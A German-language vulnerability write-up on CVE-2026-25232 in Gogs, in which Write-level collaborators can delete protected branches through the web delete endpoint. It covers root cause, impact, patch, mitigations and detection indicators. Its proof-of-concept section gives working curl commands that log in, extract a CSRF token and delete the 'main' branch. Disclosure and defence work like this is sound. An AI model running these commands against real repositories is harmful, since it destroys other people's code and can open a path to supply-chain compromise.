CVE-2026-25232 — Gogs Umgehung des Schutzes geschützter Branches (Write → Admin-Eskalation)

Übersicht

Beschreibung

CVE-2026-25232 ist eine Schwachstelle zur Umgehung der Zugriffskontrolle in der Gogs-Weboberfläche. Sie ermöglicht es jedem Repository-Mitarbeiter mit Write-Berechtigungen, geschützte Branches — einschließlich des Standard-Branches — zu löschen, indem eine direkte POST-Anfrage an den DeleteBranchPost-Endpunkt gesendet wird, wodurch die Branch-Schutzmechanismen vollständig umgangen werden.

Die Ursache liegt in einer Diskrepanz zwischen der Durchsetzung des Branch-Schutzes in der Git-Hook-Ebene und der Weboberfläche:

• Git-Hooks (SSH): Blockieren das Löschen geschützter Branches über SSH-Push-Operationen korrekt
• Weboberfläche: Die DeleteBranchPost-Funktion löst keine Git-Hooks aus, sodass die Schutzprüfung nie ausgeführt wird

Dies ermöglicht es einem Mitarbeiter mit niedrigen Berechtigungen, Operationen durchzuführen, die ausschließlich Repository-Administratoren vorbehalten sein sollten.

Voraussetzungen

• Ein registriertes Gogs-Konto
• Write-Berechtigungen auf einem Ziel-Repository
• Auf dem Ziel-Repository konfigurierte geschützte Branches
• Netzwerkzugriff auf die Gogs-Weboberfläche

Proof of Concept

Umgebung

• Ziel: http://<TARGET>:3001
• Angreiferkonto: attacker:Password123! (Write-Berechtigungen auf dem Repo)
• Ziel-Repository: admin/important-repo
• Geschützter Branch: main (Standard-Branch)

Schritt 1 — Überprüfen, ob der Branch-Schutz aktiviert ist

Bestätigen, dass der Branch geschützt ist und nicht über normale Mittel gelöscht werden kann:

# Versuch einer normalen Branch-Löschung über die API - dies sollte fehlschlagen
curl -s -X DELETE 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches/main' \
  -u 'attacker:Password123!'

Erwartete Antwort: 403 Forbidden oder Schutzfehler.

Schritt 2 — Ein gültiges CSRF-Token abrufen

Das CSRF-Token von einer beliebigen authentifizierten Seite abrufen:

curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/user/login' \
  -X POST \
  -d 'user_name=attacker&password=Password123!'

# CSRF-Token von einer Repo-Seite extrahieren
curl -s -c cookies.txt -b cookies.txt \
  'http://<TARGET>:3001/admin/important-repo' \
  | grep -o '_csrf" content="[^"]*"' | cut -d'"' -f3

Schritt 3 — Schutz über direkte POST-Anfrage an DeleteBranchPost umgehen

Eine direkte POST-Anfrage an den Branch-Lösch-Endpunkt senden und dabei die Schutzprüfung umgehen:

curl -s -X POST 'http://<TARGET>:3001/admin/important-repo/branches/delete' \
  -b cookies.txt \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d '_csrf=<CSRF_TOKEN>&name=main'

Der geschützte Branch wird gelöscht, obwohl der Angreifer nur Write-Berechtigungen besitzt.

Schritt 4 — Löschung verifizieren

curl -s 'http://<TARGET>:3001/api/v1/repos/admin/important-repo/branches' \
  -u 'attacker:Password123!'

Der main-Branch erscheint nicht mehr in der Antwort.

Warum es funktioniert

Die DeleteBranchPost-Funktion im Gogs-Web-Handler validiert, dass der Benutzer authentifiziert ist und Write-Zugriff auf das Repository hat, prüft jedoch nicht, ob der Ziel-Branch geschützt ist:

HTTP POST /owner/repo/branches/delete
    ↓
DeleteBranchPost()
    ↓
Prüfung: Ist der Benutzer authentifiziert? ✓
Prüfung: Hat der Benutzer Write-Zugriff? ✓
Prüfung: Ist der Branch geschützt? ✗ (FEHLT)
    ↓
Branch erfolgreich gelöscht

Die Git-Hook-Ebene, die den Branch-Schutz durchsetzt, wird nur bei Git-Push-/Lösch-Operationen über SSH oder das HTTP-Git-Protokoll ausgelöst — nicht bei Operationen über die Weboberfläche. Diese architektonische Lücke bedeutet, dass jeder Mitarbeiter mit Write-Berechtigungen diese Operation durchführen kann.

Auswirkung

Ein böswilliger Mitarbeiter mit Write-Berechtigungen kann:

• Jeden geschützten Branch einschließlich des Standard-Branches löschen
• Die Hauptentwicklungslinie des Repositorys zerstören
• CI/CD-Pipelines stören, die vom geschützten Branch abhängen
• Branches ohne Schutz per Force-Push neu erstellen, was Code-Injection in Produktionspipelines ermöglicht
• Effektive Privilegien von Write → Admin-Ebene für Branch-Verwaltungsoperationen eskalieren

In Umgebungen, in denen Gogs-Repositories in automatisierte Bereitstellungspipelines eingespeist werden, könnte dies zu einer Kompromittierung der Lieferkette führen.

Behebung

Upgrade auf Gogs v0.14.1 oder höher. Der Fix fügt ordnungsgemäße Autorisierungsprüfungen in der DeleteBranchPost-Funktion hinzu, um den Branch-Schutzstatus vor dem Löschen zu verifizieren, unabhängig davon, wie die Anfrage gestellt wird.

Als vorübergehende Abschwächung:

• Write-Zugriff auf Repositorys auf hochvertrauenswürdige Benutzer beschränken
• Netzwerkzugriffskontrollen implementieren, um zu begrenzen, wer die Gogs-Weboberfläche erreichen kann
• Webserver-Logs auf unerwartete POST-Anfragen an /repos/{owner}/{repo}/branches/delete überwachen
• Externe Backup-Lösungen verwenden, um Kopien geschützter Branches zu erhalten

Erkennung

Auf folgende Indikatoren für eine Ausnutzung achten:

• Unerwartete POST-Anfragen an /<owner>/<repo>/branches/delete in Webserver-Logs
• Gelöschte geschützte Branches ohne entsprechende Git-Hook-Aktivität in den Logs
• Branch-Löschereignisse durch Benutzer ohne Admin-Berechtigungen
• Standard-Branch fehlt oder wurde unerwartet geändert

Referenzen

• GitHub Security Advisory GHSA-2c6v-8r3v-gh6p
• Gogs v0.14.1 Release
• CWE-863: Falsche Autorisierung

Haftungsausschluss

Dieses PoC dient nur zu Bildungszwecken und für autorisierte Sicherheitstests. Verwenden Sie es nicht gegen Systeme, für die Sie keine ausdrückliche Erlaubnis zum Testen haben.